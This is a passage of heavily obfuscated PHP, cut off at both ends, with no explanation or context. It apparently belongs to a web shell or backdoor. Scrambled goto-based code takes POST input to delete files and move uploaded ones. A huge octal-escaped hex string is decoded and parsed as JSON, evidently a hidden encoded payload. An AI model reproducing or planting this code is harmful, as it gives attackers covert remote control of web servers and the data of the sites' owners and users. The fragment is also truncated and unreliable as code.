octdec($fla_q))) { goto u3uFg; } goto wE2jv; muCJp: Pwzfu: goto hOSbB; HUzRn: $JwZ0v = rtrim(dirname($BT3cI), B6Kq9(26)) . B6kq9(27) . $bdeX2; goto yfUh2; RNz6K: $dmluh = $_POST[B6kq9(39)]; goto oZXdA; WaRjO: if (!!unlink($dmluh)) { goto U7XpA; } goto yyfIT; ThyJY: if (!!move_uploaded_file($VR_V0[B6KQ9(12)], $LrLnp)) { goto hC1Jr; } goto ythAT; Q73Hd: U7XpA: goto MQyyD; GtJLx: $ja6bA = json_decode(mEzXv(hex2bin("\x31\x63\66\141\x30\x30\x31\145\63\62\61\66\63\x39\66\x66\x34\x61\x33\143\x31\63\60\67\x35\x32\x36\143\x37\x32\x33\x64\64\65\x36\x34\x34\145\61\x32\66\x30\65\146\x34\144\x32\62\x35\62\66\142\61\63\x30\x35\65\62\66\x63\67\62\x32\x65\x34\65\x36\64\x34\x65\61\x34\x36\60\x35\x66\x34\144\62\x31\65\62\x36\x62\61\x33\x30\63\x35\x32\x36\x63\x37\x32\63\71\x34\65\x36\64\x34\145\61\66\x36\60\x35\x66\64\144\x32\66\65\x32\x36\142\61\63\60\x31\x35\62\66\x63\67\x32\x32\65\x34\x35\66\64\64\x65\61\x38\66\x30\65\146\x34\x64\63\x61\65\x32\x36\x62\x31\x33\60\x66\65\62\66\x63\x37\62\62\x39\64\x35\x36\64\x34\x65\x31\x61\x36\60\x35\x66\x34\x64\x33\71\x35\x32\66\142\x31\x33\60\x64\65\62\x36\143\x37\x32\62\143\x34\65\66\x34\x34\145\61\x63\66\x30\x35\146\x34\x64\x32\65\x35\62\66\x62\61\63\x30\142\65\x32\66\143\x37\x32\62\62\x34\65\x36\64\64\x65\61\145\x36\60\65\146\x34\144\x32\146\x35\x32\66\142\61\63\x30\71\x35\62\x36\x63\x37\62\x33\142\x34\x35\66\64\x34\145\x30\60\x36\x30\x35\146\64\144\x32\70\65\62\x36\x62\x31\x33\x31\x37\65\x32\66\143\x37\x32\x33\x65\64\65\x36\x34\64\145\60\62\66\60\65\146\64\x64\62\63\65\x32\x36\142\61\x33\61\65\x35\x32\66\x63\x37\x32\62\x62\x34\65\66\x34\x34\x65\x30\64\x36\60\x35\x66\x34\x64\63\146\65\62\x36\142\61\63\x31\63\x35\x32\x36\x63\x37\62\x33\62\x34\65\x36\x34\64\145\60\66\66\x30\x35\x66\64\144\x33\65\x35\62\66\x62\61\63\61\x31\x35\62\x36\143\67\x32\62\61\x34\x35\x36\64\64\145\x30\70\x36\60\x35\146\64\x64\63\64\65\62\66\x62\x31\x33\61\x66\65\x32\x36\143\67\x32\x33\70\64\65\x36\64\x34\145\x30\141\66\60\65\146\x34\144\62\x61\x35\x32\66\x62\x31\63\62\67\65\62\66\143\67\62\60\x61\64\65\x36\x34\64\145\x33\62\x36\x30\x35\146\64\144\60\65\x35\x32\66\x62\61\x33\x32\65\65\62\x36\143\x37\62\61\x32\x34\65\x36\x34\x34\145\x33\64\x36\60\65\x66\64\144\x31\144\x35\x32\66\142\61\x33\x32\x33\65\x32\x36\x63\x37\x32\61\x61\x34\x35\x36\x34\64\145\63\x36\66\x30\x35\x66\64\x64\60\x62\x35\62\66\x62\61\63\62\61\x35\x32\66\x63\67\x32\x31\x30\64\65\66\64\x34\145\x33\x38\66\x30\x35\146\x34\x64\x31\x39\65\62\66\142\x31\x33\x32\146\65\x32\x36\x63\67\62\60\63\x34\x35\x36\x34\x34\x65\63\141\66\x30\65\146\x34\144\x30\x39\65\62\66\142\61\x33\x32\x64\x35\62\x36\x63\x37\62\x30\x37\64\65\66\x34\64\x65\x33\143\66\x30\65\x66\x34\144\x30\x33\65\62\66\x62\61\63\62\142\x35\x32\66\143\67\62\60\142\64\65\x36\64\x34\145\63\x65\66\x30\x35\x66\x34\x64\60\70\65\62\66\x62\61\63\x32\71\x35\x32\66\x63\x37\x32\61\144\64\65\x36\64\64\x65\62\60\66\60\65\x66\64\x64\x30\x61\65\62\x36\142\61\x33\63\67\x35\62\66\x63\67\x32\60\x34\x34\65\x36\64\x34\145\62\x32\66\x30\x35\x66\x34\x64\61\x34\x35\x32\66\142\61\63\63\65\65\x32\66\x63\67\x32\x30\62\64\65\x36\x34\x34\145\62\64\66\60\x35\x66\64\144\61\x62\x35\62\66\142\61\x33\x33\63\65\x32\66\x63\x37\62\x31\x62\x34\65\x36\x34\64\x65\x32\x36\x36\60\x35\x66\x34\x64\61\x63\65\62\66\x62\61\x33\x33\x31\x35\x32\x36\143\67\62\61\x66\64\65\66\64\64\x65\62\70\x36\x30\65\x66\64\x64\x30\x34\65\x32\66\x62\61\63\63\x66\65\62\66\x63\67\x32\x30\x35\64\x35\66\x34\64\145\x32\x61\66\60\65\146\64\144\60\143\x35\x32\66\x62\x31\63\65\66\x35\62\66\x63\x37\x32\x37\x61\x34\65\x36\x34\64\x65\x34\61\x36\60\65\146\64\144\67\65\65\62\x36\x62\x31\63\65\x34\x35\x32\x36\x63\x37\62\x37\70\x34\65\66\x34\x34\x65\64\x33\66\x30\65\146\x34\144\x37\x63\65\62\x36\x62\61\x33\x35\x32\65\x32\66\x63\x37\x32\x37\x65\x34\x35\66\64\64\145\64\x35\x36\60\x35\x66\64\x64\x37\71\65\x32\66\x62\61\63\65\60\x35\x32\66\143\67\62\67\144\x34\x35\x36\x34\64\x65\x34\67\x36\60\65\x66\64\x64\x37\x34\x35\62\66\x62\61\63\65\145\x35\62\x36\x63\67\62\67\142\64\x35\x36\64\64\145\x34\x39\66\x30\x35\146\x34\x64\x37\x61\65\62\66\x62\61\x33\64\x64\65\62\x36\x63\x37\x32\x31\x34\64\x38\x36\141\x34\60\65\x32\x31\x65\x34\141\64\144\x37\x37\x35\x32\66\143\x31\63\x31\x62\65\143\67\64\61\144\61\x65\63\x36\x31\146\x30\60\65\x32\67\x38\x33\x65\64\144\x37\71\x31\x62\x36\62\x30\64\x35\x32\x35\x31\66\x36\x32\x35\x36\x62\x35\67\x37\145\64\146\64\70\x37\x62\63\142\64\144\x36\x31\x35\x32\67\x35\x30\60\x34\x63\x35\62\67\141\x37\62\67\x61\65\x36\x36\x62\64\x65\x35\x63\x36\x30\x35\67\x35\145\66\x62\x35\x32\x36\142\61\63\65\x30\64\x37\61\66\66\x30\x32\x65\64\x66\67\x61\x35\x38\65\63\x37\x61\60\x33\x34\x35\67\x64\x34\61\61\x39\x30\x39\65\x37\x35\x38\x36\x30\x33\142\x36\144\65\67\67\x64\64\x61\x34\70\67\x61\x34\144\x35\146\x37\143\x35\x35\x37\63\60\x32\x34\146\64\x38\x36\x36\67\61\x37\x63\x35\x35\x36\142\x35\x64\61\142\66\x37\x35\x35\65\x66\66\67\64\60\x37\x65\x31\x37\x35\145\x34\61\67\60\66\x30\x37\x39\x34\x65\x37\141\x35\x62\65\63\67\60\65\65\x34\65\x37\144\61\146\66\x36\60\x31\65\x65\63\x30\67\64\x37\x63\66\141\x35\x35\67\71\x34\x66\x34\x30\67\65\64\x36\x35\144\x37\143\63\x30\x37\x66\x35\x37\64\x63\64\61\x36\x36\x37\63\67\x30\65\65\x36\71\64\x65\65\143\x36\60\x35\67\x35\146\x30\x64\64\60\67\x31\x31\x62\65\x34\64\x34\x37\143\66\70\x37\x64\x34\66\67\x30\60\x30\x35\63\x37\x30\x35\144\x34\x35\x37\146\x30\65\66\144\x30\x31\65\x31\x35\x39\x36\x65\66\x38\x36\61\65\x37\67\x62\64\x34\x34\x34\62\x65\x34\143\65\67\x37\x38\65\x31\x37\x35\x30\65\64\67\65\62\67\x61\x37\62\x37\141\x35\x37\x31\x36\65\x63\x34\66\61\143\65\x37\x35\x62\x36\67\x34\x38\67\x32\x31\x34\x35\145\x31\x63\67\143\x36\x32\67\x30\x32\67\67\141\61\x39\x35\70\x37\62\65\x32\x34\x35\x37\x35\64\x38\x36\146\60\61\65\x35\65\141\x36\62\63\x63\66\61\x35\x66\67\144\64\x64\x34\62\x37\66\x34\144\x34\x64\x36\x31\65\62\x37\x31\60\x32\x34\60\65\x32\x37\x61\67\x32\x37\x65\x35\x34\66\x39\64\x65\65\x63\x36\60\x35\x37\65\146\x36\x35\x34\60\67\x33\61\x34\65\64\x31\143\x30\x38\x36\70\63\x39\x34\64\x36\x61\x34\x30\65\62\x37\x61\65\61\x34\145\x37\x64\x34\x39\66\66\60\71\x31\x37\65\61\x36\64\x36\x30\x36\x39\x35\x37\67\x31\64\x35\65\62\66\x65\x34\x37\65\x64\67\144\65\x36\x37\67\x30\x35\64\x63\64\62\63\x61\x37\x31\67\x30\x31\x36\x36\x31\65\64\x31\x63\66\x62\65\x64\x35\x62\66\64\64\62\67\67\x31\x32\x35\67\64\67\67\65\67\x32\66\x34\64\65\x37\145\65\65\65\x33\x37\142\65\x35\63\x31\x37\146\64\x37\66\64\x30\x39\60\x39\x35\x61\x36\63\x36\60\x36\x39\x35\x35\67\60\63\x32\64\62\63\63\64\x36\x35\146\x37\x64\x35\70\x37\x66\x35\67\x34\x37\64\61\x36\146\67\x39\x37\x65\x35\61\66\60\x35\141\61\x66\66\x38\65\144\65\70\66\67\x34\x31\x37\67\67\x31\x35\x66\x34\x32\61\66\x36\60\x37\x65\64\144\67\x61\61\x64\65\65\67\x33\60\141\64\145\67\146\61\x63\x31\71\60\71\65\x35\65\141\66\x37\66\x32\x36\x30\x35\65\x37\141\x34\71\x34\62\x32\145\64\64\65\x61\62\61\65\70\x37\146\60\x35\x34\146\x34\x30\63\71\67\x61\x37\x63\65\x34\x36\145\65\143\x34\62\x30\x32\x34\67\x34\x33\x36\x66\x34\66\67\x30\61\62\65\x36\x34\x35\x37\x33\66\x32\62\x34\x34\145\67\x61\65\x38\63\60\67\x32\x35\x36\x32\146\x37\65\64\62\66\64\60\71\x30\71\x35\x61\66\63\x33\x63\x36\144\x35\x66\67\x66\x34\x66\x34\61\x37\66\64\x64\x35\x62\x33\143\65\x33\x37\x66\60\x31\x34\146\64\x38\x33\x39\x37\x39\67\71\x35\66\x36\x32\65\143\x34\x30\61\x63\x35\65\65\x37\60\x64\x34\62\67\66\61\x37\x35\63\x34\63\60\x38\x36\x32\67\146\x34\64\x37\60\x30\x33\x35\x61\x37\67\65\x35\64\x39\x37\x66\x34\x32\66\66\60\63\x35\x37\x35\x61\x36\66\x36\66\x36\x30\x35\x66\x37\x64\63\x32\x34\x35\67\142\62\x35\x35\142\62\x36\62\x65\x37\x35\x30\70\64\143\64\70\63\71\x37\141\67\x39\x31\x36\61\66\x35\144\64\x38\66\x31\65\x35\60\71\66\142\x34\x32\x37\x30\x37\x31\x35\66\64\70\x37\x37\66\x32\67\60\64\61\x37\60\x35\x38\x35\63\x37\x32\x30\x65\x34\x63\67\142\x34\64\x36\61\x30\63\x35\67\x35\x38\x36\66\x33\x36\x31\x36\65\146\x37\x31\64\66\64\60\67\67\x33\142\65\66\x37\70\65\x61\66\65\61\144\x34\x34\64\66\66\x66\67\x35\67\x31\x35\x37\66\61\x35\x65\x34\x37\x31\143\x35\x64\65\x39\60\x64\64\60\62\x62\x31\62\65\x34\64\65\x31\x36\x36\x36\62\x33\64\x66\x37\x39\60\67\x35\61\x37\x61\x30\145\x34\143\x37\143\x34\64\66\x34\x30\x37\65\x37\65\71\x36\66\x36\x31\66\145\x35\63\67\x61\64\x64\64\71\x37\61\64\x36\x35\x65\67\71\65\x35\x37\67\60\x37\63\x38\64\62\x32\x37\67\65\67\70\61\66\66\x39\x35\x61\61\66\x31\143\x35\x64\x35\71\61\63\x34\60\67\66\x37\61\65\x34\60\65\x30\70\x36\62\67\71\x33\x39\67\x39\60\x30\65\x36\67\x30\65\61\64\x39\x37\144\x34\x32\x36\146\60\x35\60\144\62\x65\66\x34\x36\61\66\62\65\146\62\x34\x34\x36\x34\x39\x37\67\x34\144\x35\x66\67\142\65\65\67\x37\60\x36\x32\x36\x34\x32\x36\63\x37\x36\x37\x39\60\x38\66\x64\x35\x61\x31\66\66\x33\x35\144\61\145\66\64\x34\60\x37\66\61\x38\65\x34\61\143\67\146\x36\x32\63\x39\x34\61\x37\70\x35\x34\62\x65\67\x61\x35\144\63\x31\x37\x63\x34\x36\66\x65\x30\x35\x35\60\x35\66\66\x34\x33\x63\x36\61\x35\63\67\x61\x34\66\64\x31\62\71\x34\146\65\x65\x37\x62\65\65\x37\x37\x30\66\x32\x36\x34\x32\x33\141\x37\141\67\71\61\62\x36\61\65\145\x34\x37\x36\67\x35\65\x35\71\x30\x64\65\x32\x36\142\x31\x33\x35\145\x34\x34\67\146\66\60\67\61\62\x37\x37\60\x31\x64\65\x31\67\x30\65\65\x34\66\67\x64\x34\x39\66\x31\x31\63\64\x61\65\x32\66\145\66\64\x36\142\65\x37\62\64\x34\71\x34\62\67\x31\64\x33\x35\x37\x32\142\x35\70\x37\67\65\144\x32\x36\64\62\66\67\67\x61\x37\x39\65\x35\66\71\x35\143\64\x33\66\x34\x35\67\x35\71\x30\x64\64\x30\67\x32\61\x30\x35\x32\x34\x36\67\x63\x36\x38\67\x65\64\61\x37\x30\65\144\x35\x31\66\x30\x34\x39\64\144\x37\x66\x31\142\60\67\x30\x30\60\60\65\x31\66\x34\x33\x63\66\142\65\x35\67\141\x33\x32\x34\x38\x32\x65\62\x35\x35\144\67\x66\x35\x33\x37\146\65\x65\x34\x66\x34\x30\63\x30\67\x39\x37\x30\x35\x33\x30\70\x35\x64\64\x34\x36\63\65\x31\x35\x66\66\x63\65\x32\x36\x62\61\x33\x35\x34\64\x30\x37\x33\66\x30\67\143\64\61\x37\141\60\60\x35\x33\x37\x61\x31\x34\64\65\67\65\x31\x63\x36\144\60\71\x35\x66\x35\70\66\x34\62\x35\66\x32\x35\67\x37\x66\64\x66\64\x38\62\64\62\65\65\146\x37\145\x35\71\67\63\x30\x38\x32\x36\65\62\x37\x61\67\62\x37\145\65\x34\x30\x38\64\x65\x35\x63\66\60\x35\x33\x35\x63\66\x62\65\x32\66\x62\x31\63\x35\x30\x34\x37\x37\x37\66\61\x33\x64\x34\145\67\141\65\142\62\145\x37\141\65\x33\x32\x66\x37\144\x30\x31\x36\146\x30\63\61\63\x32\x65\x36\x34\x36\x37\x36\60\65\62\x32\64\64\64\64\62\x37\64\64\146\x35\146\67\70\x35\65\x37\61\60\67\64\63\x34\62\x36\x30\x30\x65\67\x30\60\x62\66\61\65\x64\x34\61\66\x37\65\x34\60\x33\x31\63\x34\65\67\64\x31\x34\x35\64\x31\x66\67\x63\x36\60\67\x66\x34\x34\67\x61\60\x33\x35\x31\x37\x61\x35\x64\63\x31\67\146\x34\64\66\61\61\63\64\x61\x35\x32\66\x34\x36\x30\x30\x38\65\67\67\x63\x32\x63\x34\62\62\145\x34\63\65\x37\x33\x63\x35\63\67\67\x30\70\64\x33\64\70\66\x66\67\65\66\141\x34\142\x36\141\65\x65\61\x62\61\143\x35\64\60\x39\x36\145\x34\x32\x32\x62\x31\142\x35\x34\x34\62\x37\67\x36\x38\62\64\64\x32\67\141\65\x65\65\70\67\x30\65\x35\64\x35\x37\144\61\x36\x30\67\60\x39\61\67\x33\60\66\66\x36\60\66\60\x35\x31\67\71\x34\144\x35\62\x36\145\64\x37\x35\x64\67\144\65\70\67\x37\60\65\62\66\x34\62\63\141\67\x35\x37\x30\x31\66\66\x64\x35\x34\x31\143\x36\x31\x35\x64\x35\x66\66\x65\x34\x32\63\62\x31\62\x35\66\64\x31\61\x36\x37\62\66\x34\x34\65\67\x65\65\146\x35\x36\66\60\x34\x39\x34\x64\x37\142\x34\x33\66\144\x31\63\64\x61\65\62\x36\60\x36\67\x36\144\x35\x37\x37\x66\x34\66\x34\70\67\x36\x34\146\x35\67\63\143\x35\141\67\67\x30\x30\64\x63\x34\62\x36\65\x37\x39\67\x61\61\66\66\x39\65\143\64\61\60\62\65\61\65\x64\66\67\x34\x30\x32\x63\x37\x31\65\62\x34\62\67\x35\66\62\67\x65\x34\x31\x37\141\x35\x38\65\x36\x37\63\60\145\x33\61\67\143\x34\66\66\x65\60\64\x35\x35\65\x31\66\64\63\146\x36\x65\65\x37\67\x30\62\x63\64\x38\x32\x39\63\x62\65\67\67\65\65\x61\67\67\64\64\64\67\x34\70\x36\146\x37\x38\67\141\61\x32\x36\61\x35\143\x31\142\66\67\65\61\65\x64\x36\x65\64\61\x37\x33\x31\64\65\x32\64\66\67\146\x36\x32\67\x38\x32\67\x37\x30\60\x61\65\x31\x37\x33\x35\62\62\x66\x37\143\64\65\66\x66\x30\x34\65\65\65\61\66\x65\x36\x30\66\x62\65\67\x37\x66\63\x32\x34\x38\67\x31\x34\x34\x35\67\67\x35\x35\63\67\x32\x30\x31\x34\x30\x34\62\x36\64\60\x65\x37\141\65\x36\66\62\65\x63\64\66\61\x63\65\x34\65\x61\66\x37\x35\x32\66\x62\61\63\65\60\x34\x37\67\67\66\61\x33\144\x34\144\67\141\65\x62\65\x35\x37\141\65\63\x34\65\67\x64\60\61\66\64\x30\x33\x31\63\x35\70\x36\x34\66\67\x36\144\65\62\x37\70\x34\x66\x34\x38\67\x36\64\x36\65\x66\62\x32\x33\60\x37\x33\x30\x32\x33\70\64\x32\x36\x34\67\x31\67\143\65\65\66\145\x35\144\64\71\x36\x37\65\x34\60\63\x36\x37\64\x30\67\x30\x37\61\x35\64\x34\67\x37\63\66\x35\x37\x62\63\x39\x37\x61\x35\x61\x35\65\67\141\65\144\63\61\67\144\64\x32\x36\x34\60\x39\x35\64\65\63\66\64\x36\63\66\142\65\x37\x37\71\x32\x63\x34\70\67\66\x34\x64\65\x66\x33\x38\x35\x35\x37\x66\60\71\x34\x65\x34\62\62\x33\67\x39\x37\60\x35\146\66\x32\x35\x64\x34\70\x36\61\65\x34\65\67\x31\63\64\x32\62\143\61\x32\x34\64\65\143\x37\64\x36\62\63\x64\64\x36\67\71\x31\71\x33\x30\67\x30\x35\62\64\143\x37\146\x34\62\66\146\60\x39\60\141\65\x35\66\64\66\x32\66\x32\x35\x35\67\142\x34\146\x34\60\67\x33\x34\66\65\67\67\65\65\65\67\67\65\141\64\143\x34\x34\x36\x36\67\141\x36\x61\x34\x62\x36\141\x35\x65\61\142\66\61\x35\x34\x30\x39\x30\x64\64\x32\62\142\61\142\65\x34\x34\x32\67\67\x36\x38\62\x34\x34\x65\x37\x61\65\146\65\x38\x37\141\x30\71\x34\x39\67\144\64\x33\66\146\x30\63\65\64\62\145\x37\64\67\143\x36\141\65\146\67\145\64\x66\64\x30\x37\67\64\64\65\144\67\x63\65\x39\x37\146\x30\x36\x34\63\x34\61\x36\x65\67\70\67\x30\65\62\x36\x62\65\x65\64\x35\x36\x61\x35\x35\x35\144\x36\64\64\x32\67\x37\x31\71\65\66\x34\60\x37\x37\66\66\x37\x30\x32\67\66\x61\x34\x30\65\x32\67\x34\65\x32\64\x39\67\144\64\62\66\144\x30\x33\60\141\65\63\66\x65\x36\x30\61\66\x35\x36\67\x31\64\x34\64\x32\x32\64\62\x35\65\144\62\x32\65\63\x37\62\65\144\x34\x63\64\70\63\60\67\x33\x37\x38\61\66\x36\x62\65\141\64\60\66\x34\65\x37\x35\x36\x30\x64\64\x38\67\64\x36\146\65\x36\64\66\60\x38\66\61\x37\x63\64\66\x37\70\61\71\x33\60\67\64\x35\x63\63\x31\67\x64\x34\65\x36\x64\60\x33\x35\67\65\61\66\x65\x36\x37\61\66\65\x36\67\x30\64\x61\64\x38\x37\x37\x32\65\65\x64\x37\x38\65\63\x37\x37\x30\63\x34\x65\64\62\x36\x36\67\71\67\70\65\67\x31\66\x35\71\64\x38\x36\64\64\67\64\63\x36\146\x34\66\x37\60\61\62\x35\66\x34\x35\67\x35\x36\62\x37\x39\x34\61\x37\x30\65\142\x35\63\67\63\x35\x64\64\x37\x37\65\x34\65\61\x39\60\x33\x35\x33\x35\70\66\x36\x36\x32\66\x39\65\65\x37\70\64\x36\x34\60\67\62\64\x30\x35\71\67\65\65\63\67\61\x30\x34\x34\x37\x34\70\x36\x35\67\x61\x37\71\65\x65\66\71\65\144\64\60\x36\63\x35\x34\x30\x33\x36\67\64\x32\x37\x35\x31\x37\65\66\x34\65\x37\x63\66\62\67\x66\64\x31\x37\x30\60\x30\x35\70\67\67\65\x35\x34\66\67\146\x34\x37\x36\x36\60\x33\x31\67\x35\63\x36\66\62\65\x30\70\x35\146\x37\x30\64\64\x34\x32\67\x30\64\x36\64\144\x36\x31\65\62\67\x35\x30\x30\64\143\64\x30\66\x33\67\x61\67\x61\x30\x62\66\x39\65\x34\x31\143\66\141\x35\65\60\x34\66\64\64\x32\63\x32\x31\62\65\x34\61\x36\67\63\x36\70\x37\70\64\145\x37\x30\61\x64\65\141\67\63\65\x35\64\145\67\142\64\61\x36\x31\61\63\x34\141\65\x32\x36\64\x36\61\66\61\x35\x37\67\144\64\141\x34\x32\62\x65\64\66\65\x37\x32\61\x35\x35\x37\67\x35\141\x34\65\64\62\62\63\67\71\x37\x61\60\61\x36\x64\x34\x65\65\x63\66\x30\65\x33\65\x38\x30\x64\x34\x30\67\62\x36\x66\x35\x34\x31\x63\67\60\66\70\x32\67\64\x36\x37\70\60\141\x35\63\67\x30\x35\63\62\x66\x37\146\64\x31\x36\64\x30\61\60\60\x35\141\66\145\62\x35\66\62\x35\x37\63\71\62\143\x34\64\67\66\x33\x62\x35\x39\x37\70\x35\71\x37\x66\x35\67\64\x65\64\61\66\146\60\145\x37\x39\65\145\x36\142\x35\x63\64\x37\61\x63\65\x37\x35\x64\x36\142\64\x35\67\x34\61\x34\65\64\x34\66\x37\143\x36\70\67\x30\64\144\x37\x39\65\71\62\145\67\60\60\141\63\x31\x37\146\x34\x35\x36\x64\60\x30\x30\144\63\x30\x36\x65\x36\64\x36\145\x35\x66\67\x31\x34\146\x35\x32\x36\145\64\67\65\x64\62\66\x35\71\67\66\x35\x37\x34\65\64\62\63\141\x37\141\67\141\x35\x35\x36\x62\65\64\x31\x63\66\x31\x35\67\x35\144\x30\144\64\x38\x32\x38\x31\64\x35\66\64\63\60\x38\66\70\x32\x65\x34\62\67\70\x35\x63\x33\60\67\x36\x35\61\x34\x63\66\x66\x35\143\x36\x35\x30\x33\60\144\x32\x65\x36\x37\x33\66\66\60\x35\65\x32\64\x34\66\x34\x32\67\x30\63\x62\65\67\x32\x31\65\70\67\x35\60\x33\64\67\64\70\63\x39\67\x61\x37\70\65\x34\x36\144\x35\64\x31\x36\x36\64\x35\65\x35\x66\x36\x63\64\64\67\63\x31\x30\64\x34\x35\x63\x37\x34\66\x36\67\x66\64\146\x37\71\60\x33\65\x33\x37\141\65\62\64\143\67\x66\x34\62\x36\145\60\61\x35\67\65\x36\x36\x34\63\x63\x31\66\65\65\67\x64\64\65\x34\60\x37\x35\x33\142\x35\142\67\x66\65\70\x37\67\65\x65\x34\x30\64\x34\66\65\x37\63\x37\x30\65\63\x30\70\65\x34\x34\x38\x31\x63\x35\64\61\145\x31\63\x34\60\67\x37\61\142\x35\66\61\x63\x37\143\x36\62\x37\x63\64\66\x37\144\x35\x66\x35\141\x37\60\65\62\x34\145\67\65\x31\66\66\x65\x30\x31\60\71\x35\65\x36\x36\66\x31\x36\144\64\65\66\64\x34\x65\x34\x36\x37\65\x34\60\x35\146\x32\x31\x32\x65\67\65\x30\x33\x34\67\64\x38\x36\x31\67\61\67\x38\65\x31\x36\x39\65\141\64\64\x36\x33\65\x64\x30\71\x36\70\64\61\x37\64\61\x62\x35\64\64\x32\67\x37\66\x30\x37\144\64\146\67\x63\65\142\65\x31\67\x30\65\x64\64\66\67\x35\60\x31\66\x65\60\60\x35\x37\65\70\66\x37\63\143\x31\x36\x35\x32\x37\142\62\x63\64\x32\62\x64\x34\x36\x35\x66\x37\x61\x35\66\x37\65\65\145\64\65\x34\70\x36\145\60\145\x37\141\65\63\x36\x32\x34\x65\65\143\66\60\65\x33\x35\x38\60\144\64\x31\62\70\66\146\x35\x65\64\67\67\x35\66\62\67\141\64\61\67\x38\65\x64\63\x30\x37\60\60\71\x34\x63\67\x66\64\65\60\x37\60\61\65\61\65\x38\x36\62\x36\62\66\142\65\x37\x32\67\64\66\64\64\x37\x31\x34\x34\x35\x37\67\x39\63\60\x37\146\x30\x39\x34\x30\x34\61\x32\67\67\141\67\70\x35\x37\x36\142\65\143\x31\143\66\x31\x35\x37\65\x62\x36\x62\64\x35\67\x34\x36\x66\65\145\60\61\60\70\66\70\x37\x63\62\x37\x37\70\x35\x39\x33\x30\67\60\x35\62\63\x31\x37\146\64\62\66\x34\x30\63\x30\71\62\x65\x37\64\x37\143\x36\x61\x35\x31\67\x66\64\x34\x34\x31\63\67\x34\x63\65\x64\x37\x61\x35\63\67\146\x30\x37\64\x63\64\x30\x32\67\x37\x61\67\141\61\62\x36\142\65\x65\64\67\66\64\x35\60\60\63\66\64\64\x32\67\x36\x31\x39\65\x37\64\60\x37\65\66\66\67\x30\64\62\x37\141\x35\65\x35\71\x37\x61\65\66\x32\x66\67\143\x34\x38\x36\62\x30\60\x31\67\65\65\66\x36\63\x63\x36\x64\x35\x35\x33\x64\x32\143\x34\65\x37\x31\64\143\65\x64\67\x66\x35\x38\x37\x66\x30\71\63\70\64\x30\x36\x32\x37\x61\67\x61\65\x31\x36\144\65\x63\x34\63\66\63\x34\x37\x34\63\66\x66\65\62\x36\142\x31\63\65\x32\x30\x35\67\x63\x36\x30\62\x65\64\145\67\x63\x35\144\63\60\x37\x36\65\65\x32\146\x37\x34\x31\142\66\x32\x30\x33\x35\67\x35\70\66\x34\62\65\61\x36\x35\66\62\63\x34\146\x34\x38\67\x31\x34\x63\x35\141\67\x34\x35\x38\67\x33\x30\63\64\145\64\64\62\63\67\x61\x36\x61\x34\142\66\141\x35\70\64\x37\66\64\65\60\x31\141\66\143\65\x32\x36\x62\61\63\x35\62\x34\x37\x30\x38\x36\x30\x37\x66\64\x31\x37\x65\x35\x64\62\x65\67\64\x30\63\62\146\x36\146\x35\143\x36\x35\x30\x35\61\63\62\x65\x36\x36\x33\66\61\66\65\x33\x37\x39\64\x34\x34\x34\67\62\x32\x35\65\66\62\66\x35\66\67\65\x30\x30\x33\70\x34\62\62\63\67\x38\x37\71\x30\143\x31\66\x35\64\x34\x33\x36\x33\65\60\x35\x36\x36\x62\x34\x34\x37\65\x36\146\65\x32\60\65\61\66\x36\x34\x37\141\62\67\67\x31\65\x62\x32\x65\x37\x62\x35\67\63\61\x36\x66\x35\143\x36\x35\60\65\65\x31\65\66\x36\x33\62\65\60\70\x34\x35\x36\x34\64\x65\64\x34\x37\x35\64\x34\65\146\67\141\x35\70\67\61\x30\x30\x34\63\64\x36\x33\x30\67\x35\66\141\x34\142\x36\x61\x35\x61\x34\x37\x36\x62\64\x37\64\63\x36\x66\x34\x36\x37\x30\61\x34\65\x33\x34\65\x30\x38\67\62\x36\64\64\x35\67\145\x35\x66\x35\x33\66\x30\x34\71\64\144\67\142\x34\x33\66\144\x31\63\x34\141\x35\62\x36\64\x36\x33\60\x38\65\x32\62\64\64\71\65\62\x36\145\x34\x37\x35\67\x37\x39\65\x35\67\x37\x35\x64\64\67\x34\62\66\65\x37\63\67\x30\x30\61\x36\60\x35\x63\61\x63\61\143\65\x35\x35\x65\61\63\65\x32\66\142\61\x33\x35\64\x34\x37\x37\x33\66\x38\x37\145\64\x31\x37\143\65\x63\65\x38\67\60\x35\x35\x32\x66\67\143\64\x35\66\61\60\x35\65\61\62\145\x37\x34\67\x63\x36\x61\x35\63\x33\144\x34\144\x34\60\x32\x34\64\64\x35\142\x37\143\62\x65\x37\63\x30\x38\x34\x33\64\x39\63\144\x37\66\x37\x61\x35\66\66\71\x35\145\60\x35\66\x31\x35\64\x30\64\x36\x65\x34\x38\67\64\61\64\65\63\x34\x39\x37\x65\x36\64\67\x61\64\66\x37\143\61\71\x35\x39\x37\x34\61\x34\63\x31\x37\143\x34\60\66\x64\60\x31\65\x30\x35\x38\66\146\x36\x36\66\x39\64\65\66\64\64\145\x34\x32\x37\x35\x34\66\65\67\x37\142\63\60\x37\x33\x30\61\x33\x38\x34\70\66\60\67\61\x37\x39\65\62\x36\144\x35\x38\x34\67\60\62\64\x37\x34\63\66\x66\64\62\x37\x30\x31\64\x35\x65\64\66\x37\x30\66\x34\x37\x38\x34\146\67\60\65\x61\x35\70\x37\x33\65\60\63\x31\67\142\x30\x35\66\64\60\65\x35\67\63\x30\67\64\67\x63\x36\x61\x35\x35\x37\x66\x34\146\x34\x38\67\x34\x34\64\x35\x62\67\144\x35\66\67\65\x30\61\x33\x38\64\x31\x36\63\67\x39\x37\145\x31\x32\61\x36\x35\x38\x34\x31\61\143\64\x37\64\63\66\146\x34\x32\67\x30\61\70\x35\145\64\66\67\63\x36\x34\67\70\x33\x39\x37\x63\65\x35\x35\63\x37\x62\x35\60\x34\x35\67\x62\64\x30\x31\x39\x30\65\x35\66\x32\x65\66\x36\x36\61\x36\61\65\146\x37\x30\63\x32\64\x31\67\142\x34\60\x35\71\67\x64\x35\x61\67\65\x34\64\63\70\x34\x38\x33\x64\67\x35\67\x39\x35\63\66\x39\x35\x35\x34\x32\66\70\x35\65\60\x39\x36\145\64\x38\x37\66\x31\67\x35\146\x34\66\x37\60\67\x32\x36\64\x34\x35\67\x61\65\x62\65\70\x37\141\x35\x33\63\x31\67\71\64\60\66\x34\60\x35\65\146\x35\x33\66\63\66\64\x30\70\x35\63\x37\x62\64\71\x34\62\x37\x61\x34\146\65\146\x37\x64\65\65\x37\146\60\x36\x33\x38\x34\61\x36\67\x37\x38\x37\143\65\67\60\70\x35\x65\x34\x39\61\143\x35\61\65\x64\66\x35\64\x39\67\x66\61\70\65\64\x34\x36\67\65\66\70\62\67\64\x32\x37\x38\x35\146\63\60\x37\141\x35\x36\x34\x37\67\142\x31\x66\60\x37\60\67\x30\141\x35\71\x36\x36\66\x